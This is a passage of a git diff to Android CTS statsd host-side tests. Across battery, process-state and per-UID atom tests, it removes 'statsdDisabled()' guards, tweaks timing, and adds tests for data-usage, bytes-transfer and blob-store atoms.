         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, set charging state to full.
         setChargingState(5);
@@ -184,9 +178,6 @@
     }
 
     public void testPluggedStateChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, unplug device.
         unplugDevice();
@@ -237,9 +228,6 @@
     }
 
     public void testBatteryLevelChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, set battery level to full.
         setBatteryLevel(100);
@@ -285,9 +273,6 @@
     }
 
     public void testDeviceIdleModeStateChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         // Setup, leave doze mode.
         leaveDozeMode();
         Thread.sleep(WAIT_TIME_SHORT);
@@ -324,9 +309,6 @@
     }
 
     public void testBatterySaverModeStateChangedAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         // Setup, turn off battery saver.
         turnBatterySaverOff();
@@ -361,9 +343,6 @@
 
     @RestrictedBuildTest
     public void testRemainingBatteryCapacity() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
@@ -388,9 +367,6 @@
 
     @RestrictedBuildTest
     public void testFullBatteryCapacity() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
@@ -413,9 +389,6 @@
     }
 
     public void testBatteryVoltage() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.BATTERY_VOLTAGE_FIELD_NUMBER, null);
@@ -438,9 +411,6 @@
 
     // This test is for the pulled battery level atom.
     public void testBatteryLevel() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.BATTERY_LEVEL_FIELD_NUMBER, null);
@@ -463,9 +433,6 @@
 
     // This test is for the pulled battery charge count atom.
     public void testBatteryCycleCount() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.BATTERY_CYCLE_COUNT_FIELD_NUMBER, null);
@@ -487,7 +454,7 @@
     }
 
     public void testKernelWakelock() throws Exception {
-        if (statsdDisabled() || !kernelWakelockStatsExist()) {
+        if (!kernelWakelockStatsExist()) {
             return;
         }
         StatsdConfig.Builder config = createConfigBuilder();
@@ -519,9 +486,6 @@
     }
 
     public void testWifiActivityInfo() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
         if (!hasFeature(FEATURE_WATCH, false)) return;
         if (!checkDeviceFor("checkWifiEnhancedPowerReportingSupported")) return;
@@ -548,10 +512,6 @@
     }
 
     public void testBuildInformation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.BUILD_INFORMATION_FIELD_NUMBER, null);
         uploadConfig(config);
@@ -576,9 +536,6 @@
 
     public void testOnDevicePowerMeasurement() throws Exception {
         if (!OPTIONAL_TESTS_ENABLED) return;
-        if (statsdDisabled()) {
-            return;
-        }
 
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.ON_DEVICE_POWER_MEASUREMENT_FIELD_NUMBER, null);
@@ -600,9 +557,6 @@
 
     // Explicitly tests if the adb command to log a breadcrumb is working.
     public void testBreadcrumbAdb() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
         createAndUploadConfig(atomTag);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -618,9 +572,6 @@
 
     // Test dumpsys stats --proto.
     public void testDumpsysStats() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
         createAndUploadConfig(atomTag);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -653,9 +604,6 @@
     }
 
     public void testConnectivityStateChange() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
         if (!hasFeature(FEATURE_WATCH, false)) return;
         if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
@@ -692,9 +640,6 @@
     }
 
     public void testSimSlotState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_TELEPHONY, true)) {
             return;
         }
@@ -725,9 +670,6 @@
     }
 
     public void testSupportedRadioAccessFamily() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_TELEPHONY, true)) {
             return;
         }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
index 73d43f8..230a516 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
@@ -96,9 +96,6 @@
     }
 
     public void testForegroundService() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = new HashSet<>(Arrays.asList(
                 ProcessStateEnum.PROCESS_STATE_FOREGROUND_SERVICE_VALUE));
         Set<Integer> offStates = complement(onStates);
@@ -117,9 +114,6 @@
     }
 
     public void testForeground() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = new HashSet<>(Arrays.asList(
                 ProcessStateEnum.PROCESS_STATE_IMPORTANT_FOREGROUND_VALUE));
         // There are no offStates, since the app remains in foreground until killed.
@@ -139,9 +133,6 @@
     }
 
     public void testBackground() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = BG_STATES;
         Set<Integer> offStates = complement(onStates);
 
@@ -159,9 +150,6 @@
     }
 
     public void testTop() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = new HashSet<>(Arrays.asList(
                 ProcessStateEnum.PROCESS_STATE_TOP_VALUE));
         Set<Integer> offStates = complement(onStates);
@@ -181,9 +169,6 @@
     }
 
     public void testTopSleeping() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         Set<Integer> onStates = new HashSet<>(Arrays.asList(
                 ProcessStateEnum.PROCESS_STATE_TOP_SLEEPING_VALUE));
@@ -212,9 +197,6 @@
     }
 
     public void testCached() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = CACHED_STATES;
         Set<Integer> offStates = complement(onStates);
 
@@ -247,9 +229,6 @@
     }
 
     public void testValidityOfStates() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         assertWithMessage("UNKNOWN_TO_PROTO should not be a valid state")
             .that(ALL_STATES).doesNotContain(ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO_VALUE);
     }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 2d980aa..74146b9 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -43,6 +43,9 @@
 import com.android.os.AtomsProto.BinderCalls;
 import com.android.os.AtomsProto.BleScanResultReceived;
 import com.android.os.AtomsProto.BleScanStateChanged;
+import com.android.os.AtomsProto.BlobCommitted;
+import com.android.os.AtomsProto.BlobLeased;
+import com.android.os.AtomsProto.BlobOpened;
 import com.android.os.AtomsProto.CameraStateChanged;
 import com.android.os.AtomsProto.DangerousPermissionState;
 import com.android.os.AtomsProto.DangerousPermissionStateSampled;
@@ -57,6 +60,7 @@
 import com.android.os.AtomsProto.LmkKillOccurred;
 import com.android.os.AtomsProto.LooperStats;
 import com.android.os.AtomsProto.MediaCodecStateChanged;
+import com.android.os.AtomsProto.NotificationReported;
 import com.android.os.AtomsProto.OverlayStateChanged;
 import com.android.os.AtomsProto.PackageNotificationChannelGroupPreferences;
 import com.android.os.AtomsProto.PackageNotificationChannelPreferences;
@@ -128,7 +132,7 @@
     }
 
     public void testLmkKillOccurred() throws Exception {
-        if (statsdDisabled() || !"true".equals(getProperty("ro.lmk.log_stats"))) {
+        if (!"true".equals(getProperty("ro.lmk.log_stats"))) {
             return;
         }
 
@@ -152,9 +156,6 @@
     }
 
     public void testAppCrashOccurred() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.APP_CRASH_OCCURRED_FIELD_NUMBER;
         createAndUploadConfig(atomTag, false);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -175,19 +176,17 @@
     }
 
     public void testAppStartOccurred() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.APP_START_OCCURRED_FIELD_NUMBER;
 
         createAndUploadConfig(atomTag, false);
         Thread.sleep(WAIT_TIME_SHORT);
 
-        runActivity("StatsdCtsForegroundActivity", "action", "action.sleep_top");
+        runActivity("StatsdCtsForegroundActivity", "action", "action.sleep_top", 3_500);
 
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = getEventMetricDataList();
 
+        assertThat(data).hasSize(1);
         AppStartOccurred atom = data.get(0).getAtom().getAppStartOccurred();
         assertThat(atom.getPkgName()).isEqualTo(TEST_PACKAGE_NAME);
         assertThat(atom.getActivityName())
@@ -198,9 +197,6 @@
     }
 
     public void testAudioState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUDIO_OUTPUT, true)) return;
 
         final int atomTag = Atom.AUDIO_STATE_CHANGED_FIELD_NUMBER;
@@ -236,9 +232,6 @@
     }
 
     public void testBleScan() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
 
         final int atom = Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
@@ -258,9 +251,6 @@
     }
 
     public void testBleUnoptimizedScan() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
 
         final int atom = Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
@@ -302,9 +292,6 @@
     }
 
     public void testBleScanResult() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
 
         final int atom = Atom.BLE_SCAN_RESULT_RECEIVED_FIELD_NUMBER;
@@ -320,22 +307,20 @@
     }
 
     public void testHiddenApiUsed() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         String oldRate = getDevice().executeShellCommand(
                 "device_config get app_compat hidden_api_access_statslog_sampling_rate").trim();
 
         getDevice().executeShellCommand(
                 "device_config put app_compat hidden_api_access_statslog_sampling_rate 65536");
+
+        Thread.sleep(WAIT_TIME_SHORT);
+
         try {
             final int atomTag = Atom.HIDDEN_API_USED_FIELD_NUMBER;
 
             createAndUploadConfig(atomTag, false);
 
-            runActivity("HiddenApiUsedActivity", null, null);
-
+            runActivity("HiddenApiUsedActivity", null, null, 2_500);
 
             List<EventMetricData> data = getEventMetricDataList();
             assertThat(data).hasSize(1);
@@ -360,9 +345,6 @@
     }
 
     public void testCameraState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_CAMERA, true) && !hasFeature(FEATURE_CAMERA_FRONT, true)) return;
 
         final int atomTag = Atom.CAMERA_STATE_CHANGED_FIELD_NUMBER;
@@ -384,9 +366,6 @@
     }
 
     public void testCpuTimePerUid() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.CPU_TIME_PER_UID_FIELD_NUMBER, null);
@@ -416,9 +395,6 @@
     }
 
     public void testDeviceCalculatedPowerUse() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
 
         StatsdConfig.Builder config = createConfigBuilder();
@@ -439,9 +415,6 @@
 
 
     public void testDeviceCalculatedPowerBlameUid() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
 
         StatsdConfig.Builder config = createConfigBuilder();
@@ -475,9 +448,6 @@
     }
 
     public void testDavey() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!DAVEY_ENABLED ) return;
         long MAX_DURATION = 2000;
         long MIN_DURATION = 750;
@@ -494,9 +464,6 @@
     }
 
     public void testFlashlightState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_CAMERA_FLASH, true)) return;
 
         final int atomTag = Atom.FLASHLIGHT_STATE_CHANGED_FIELD_NUMBER;
@@ -524,9 +491,6 @@
     }
 
     public void testForegroundServiceState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.FOREGROUND_SERVICE_STATE_CHANGED_FIELD_NUMBER;
         final String name = "testForegroundService";
 
@@ -553,9 +517,6 @@
 
 
     public void testForegroundServiceAccessAppOp() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.FOREGROUND_SERVICE_APP_OP_SESSION_ENDED_FIELD_NUMBER;
         final String name = "testForegroundServiceAccessAppOp";
 
@@ -596,9 +557,6 @@
     }
 
     public void testGpsScan() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_LOCATION_GPS, true)) return;
         // Whitelist this app against background location request throttling
         String origWhitelist = getDevice().executeShellCommand(
@@ -635,10 +593,6 @@
     }
 
     public void testGnssStats() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Get GnssMetrics as a simple gauge metric.
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.GNSS_STATS_FIELD_NUMBER, null);
@@ -677,7 +631,7 @@
                 assertThat(state.getLocationReports()).isGreaterThan((long) 0);
                 assertThat(state.getLocationFailureReports()).isAtLeast((long) 0);
                 assertThat(state.getTimeToFirstFixReports()).isGreaterThan((long) 0);
-                assertThat(state.getTimeToFirstFixMilliS()).isGreaterThan((long) 0);
+                assertThat(state.getTimeToFirstFixMillis()).isGreaterThan((long) 0);
                 assertThat(state.getPositionAccuracyReports()).isGreaterThan((long) 0);
                 assertThat(state.getPositionAccuracyMeters()).isGreaterThan((long) 0);
                 assertThat(state.getTopFourAverageCn0Reports()).isGreaterThan((long) 0);
@@ -704,9 +658,6 @@
     }
 
     public void testMediaCodecActivity() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         final int atomTag = Atom.MEDIA_CODEC_STATE_CHANGED_FIELD_NUMBER;
 
@@ -742,9 +693,6 @@
     }
 
     public void testOverlayState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         final int atomTag = Atom.OVERLAY_STATE_CHANGED_FIELD_NUMBER;
 
@@ -771,9 +719,6 @@
     }
 
     public void testPictureInPictureState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         String supported = getDevice().executeShellCommand("am supports-multiwindow");
         if (!hasFeature(FEATURE_WATCH, false) ||
                 !hasFeature(FEATURE_PICTURE_IN_PICTURE, true) ||
@@ -804,9 +749,6 @@
     }
 
     public void testScheduledJobState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         String expectedName = "com.android.server.cts.device.statsd/.StatsdJobService";
         final int atomTag = Atom.SCHEDULED_JOB_STATE_CHANGED_FIELD_NUMBER;
         Set<Integer> jobSchedule = new HashSet<>(
@@ -837,9 +779,6 @@
 
     //Note: this test does not have uid, but must run on the device
     public void testScreenBrightness() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         int initialBrightness = getScreenBrightness();
         boolean isInitialManual = isScreenBrightnessModeManual();
         setScreenBrightnessMode(true);
@@ -874,9 +813,6 @@
             atom -> atom.getScreenBrightnessChanged().getLevel());
     }
     public void testSyncState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.SYNC_STATE_CHANGED_FIELD_NUMBER;
         Set<Integer> syncOn = new HashSet<>(Arrays.asList(SyncStateChanged.State.ON_VALUE));
         Set<Integer> syncOff = new HashSet<>(Arrays.asList(SyncStateChanged.State.OFF_VALUE));
@@ -892,14 +828,12 @@
         List<EventMetricData> data = getEventMetricDataList();
 
         // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getSyncStateChanged().getState().getNumber());
+        assertStatesOccurred(stateSet, data,
+            /* wait = */ 0 /* don't verify time differences between state changes */,
+            atom -> atom.getSyncStateChanged().getState().getNumber());
     }
 
     public void testVibratorState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!checkDeviceFor("checkVibratorSupported")) return;
 
         final int atomTag = Atom.VIBRATOR_STATE_CHANGED_FIELD_NUMBER;
@@ -927,9 +861,6 @@
     }
 
     public void testWakelockState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
         Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
                 WakelockStateChanged.State.ACQUIRE_VALUE,
@@ -963,9 +894,6 @@
     }
 
     public void testWakeupAlarm() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         // For automotive, all wakeup alarm becomes normal alarm. So this
         // test does not work.
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
@@ -984,9 +912,6 @@
     }
 
     public void testWifiLockHighPerf() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
         if (!hasFeature(FEATURE_PC, false)) return;
 
@@ -1014,9 +939,6 @@
     }
 
     public void testWifiLockLowLatency() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
         if (!hasFeature(FEATURE_PC, false)) return;
 
@@ -1044,9 +966,6 @@
     }
 
     public void testWifiMulticastLock() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
         if (!hasFeature(FEATURE_PC, false)) return;
 
@@ -1078,9 +997,6 @@
     }
 
     public void testWifiScan() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_WIFI, true)) return;
 
         final int atom = Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER;
@@ -1102,9 +1018,6 @@
     }
 
     public void testBinderStats() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         try {
             unplugDevice();
             Thread.sleep(WAIT_TIME_SHORT);
@@ -1152,9 +1065,6 @@
     }
 
     public void testLooperStats() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         try {
             unplugDevice();
             setUpLooperStats();
@@ -1206,10 +1116,6 @@
     }
 
     public void testProcessMemoryState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Get ProcessMemoryState as a simple gauge metric.
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_STATE_FIELD_NUMBER, null);
@@ -1219,8 +1125,9 @@
         // Start test app.
         try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
                 "action.show_notification")) {
-            Thread.sleep(WAIT_TIME_LONG);
             // Trigger a pull and wait for new pull before killing the process.
+            Thread.sleep(WAIT_TIME_LONG);
+            // Trigger new pull.
             setAppBreadcrumbPredicate();
             Thread.sleep(WAIT_TIME_LONG);
         }
@@ -1248,10 +1155,6 @@
     }
 
     public void testProcessMemoryHighWaterMark() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Get ProcessMemoryHighWaterMark as a simple gauge metric.
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_HIGH_WATER_MARK_FIELD_NUMBER, null);
@@ -1295,10 +1198,6 @@
     }
 
     public void testProcessMemorySnapshot() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Get ProcessMemorySnapshot as a simple gauge metric.
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_SNAPSHOT_FIELD_NUMBER, null);
@@ -1308,8 +1207,8 @@
         // Start test app and trigger a pull while it is running.
         try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
                 "action.show_notification")) {
-            setAppBreadcrumbPredicate();
             Thread.sleep(WAIT_TIME_LONG);
+            setAppBreadcrumbPredicate();
         }
 
         // Assert about ProcessMemorySnapshot for the test app, statsd and system server.
@@ -1345,7 +1244,7 @@
     }
 
     public void testIonHeapSize_optional() throws Exception {
-        if (statsdDisabled() || isIonHeapSizeMandatory()) {
+        if (isIonHeapSizeMandatory()) {
             return;
         }
 
@@ -1358,7 +1257,7 @@
     }
 
     public void testIonHeapSize_mandatory() throws Exception {
-        if (statsdDisabled() || !isIonHeapSizeMandatory()) {
+        if (!isIonHeapSizeMandatory()) {
             return;
         }
 
@@ -1410,10 +1309,6 @@
     }
 
     public void testRoleHolder() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Make device side test package a role holder
         String callScreenAppRole = "android.app.role.CALL_SCREENING";
         getDevice().executeShellCommand(
@@ -1453,10 +1348,6 @@
     }
 
     public void testDangerousPermissionState() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED =  1 << 8;
         final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED =  1 << 9;
 
@@ -1500,10 +1391,6 @@
     }
 
     public void testDangerousPermissionStateSampled() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // get full atom for reference
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER, null);
@@ -1575,10 +1462,6 @@
     }
 
     public void testAppOps() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         // Set up what to collect
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.APP_OPS_FIELD_NUMBER, null);
@@ -1625,9 +1508,6 @@
     }
 
     public void testANROccurred() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.ANR_OCCURRED_FIELD_NUMBER;
         createAndUploadConfig(atomTag, false);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -1654,9 +1534,6 @@
     }
 
     public void testWriteRawTestAtom() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int atomTag = Atom.TEST_ATOM_REPORTED_FIELD_NUMBER;
         createAndUploadConfig(atomTag, true);
         Thread.sleep(WAIT_TIME_SHORT);
@@ -1734,10 +1611,6 @@
     }
 
     public void testNotificationPackagePreferenceExtraction() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config,
                     Atom.PACKAGE_NOTIFICATION_PREFERENCES_FIELD_NUMBER,
@@ -1774,10 +1647,6 @@
     }
 
     public void testNotificationChannelPreferencesExtraction() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config,
                     Atom.PACKAGE_NOTIFICATION_CHANNEL_PREFERENCES_FIELD_NUMBER,
@@ -1818,10 +1687,6 @@
     }
 
     public void testNotificationChannelGroupPreferencesExtraction() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config,
                     Atom.PACKAGE_NOTIFICATION_CHANNEL_GROUP_PREFERENCES_FIELD_NUMBER,
@@ -1861,12 +1726,10 @@
     }
 
     public void testNotificationReported() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         StatsdConfig.Builder config = getPulledConfig();
-        addAtomEvent(config, Atom.NOTIFICATION_REPORTED_FIELD_NUMBER);
+        addAtomEvent(config, Atom.NOTIFICATION_REPORTED_FIELD_NUMBER,
+            Arrays.asList(createFvm(NotificationReported.PACKAGE_NAME_FIELD_NUMBER)
+                              .setEqString(DEVICE_SIDE_TEST_PACKAGE)));
         uploadConfig(config);
         Thread.sleep(WAIT_TIME_SHORT);
         runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification");
@@ -1889,9 +1752,6 @@
     }
 
     public void testSettingsStatsReported() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         // Base64 encoded proto com.android.service.nano.StringListParamProto,
         // which contains two strings "font_scale" and "screen_auto_brightness_adj".
         final String encoded = "ChpzY3JlZW5fYXV0b19icmlnaHRuZXNzX2FkagoKZm9udF9zY2FsZQ";
@@ -1949,10 +1809,6 @@
     }
 
     public void testIntegrityCheckAtomReportedDuringInstall() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         createAndUploadConfig(AtomsProto.Atom.INTEGRITY_CHECK_RESULT_REPORTED_FIELD_NUMBER);
 
         getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
@@ -1975,7 +1831,6 @@
 
     public void testMobileBytesTransfer() throws Throwable {
         final int appUid = getUid();
-        final boolean subtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
 
         // Verify MobileBytesTransfer, passing a ThrowingPredicate that verifies contents of
         // corresponding atom type to prevent code duplication. The passed predicate returns
@@ -1994,17 +1849,60 @@
 
     public void testMobileBytesTransferByFgBg() throws Throwable {
         final int appUid = getUid();
-        final boolean subtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
 
         doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER, (atom) -> {
             final AtomsProto.MobileBytesTransferByFgBg data =
                     ((Atom) atom).getMobileBytesTransferByFgBg();
+            if (data.getUid() == appUid && data.getIsForeground()) {
+                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
+                        data.getRxPackets(), data.getTxPackets());
+                return true; // found
+            }
+            return false;
+        });
+    }
+
+    public void testDataUsageBytesTransfer() throws Throwable {
+        final boolean subtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
+
+        doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
+            final AtomsProto.DataUsageBytesTransfer data =
+                    ((Atom) atom).getDataUsageBytesTransfer();
+            if (data.getState() == 1 /*NetworkStats.SET_FOREGROUND*/) {
+                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
+                        data.getRxPackets(), data.getTxPackets());
+                // TODO: verify the RAT type field with the value gotten from device.
+                if (subtypeCombined) {
+                    assertThat(data.getRatType()).isEqualTo(
+                            NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+                } else {
+                    assertThat(data.getRatType()).isGreaterThan(
+                            NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+                }
+
+                // Assert that subscription info is valid.
+                assertThat(data.getSimMcc()).matches("^\\d{3}$");
+                assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
+                assertThat(data.getCarrierId()).isNotEqualTo(
+                        -1); // TelephonyManager#UNKNOWN_CARRIER_ID
+
+                return true; // found
+            }
+            return false;
+        });
+    }
+
+    // TODO(b/157651730): Determine how to test tag and metered state within atom.
+    public void testBytesTransferByTagAndMetered() throws Throwable {
+        final int appUid = getUid();
+        final int atomId = Atom.BYTES_TRANSFER_BY_TAG_AND_METERED_FIELD_NUMBER;
+
+        doTestMobileBytesTransferThat(atomId, (atom) -> {
+            final AtomsProto.BytesTransferByTagAndMetered data =
+                    ((Atom) atom).getBytesTransferByTagAndMetered();
             if (data.getUid() == appUid) {
                 assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
                         data.getRxPackets(), data.getTxPackets());
-                // IsForeground cannot be judged since foreground activity that launched
-                // while screen off (PROCESS_STATE_TOP_SLEEPING) will be treated as background
-                // in NetworkPolicyManagerService.
                 return true; // found
             }
             return false;
@@ -2026,6 +1924,107 @@
         assertThat(atom.getState()).isEqualTo(AppBreadcrumbReported.State.START);
     }
 
+    public void testPushedBlobStoreStats() throws Exception {
+        StatsdConfig.Builder conf = createConfigBuilder();
+        addAtomEvent(conf, Atom.BLOB_COMMITTED_FIELD_NUMBER, false);
+        addAtomEvent(conf, Atom.BLOB_LEASED_FIELD_NUMBER, false);
+        addAtomEvent(conf, Atom.BLOB_OPENED_FIELD_NUMBER, false);
+        uploadConfig(conf);
+
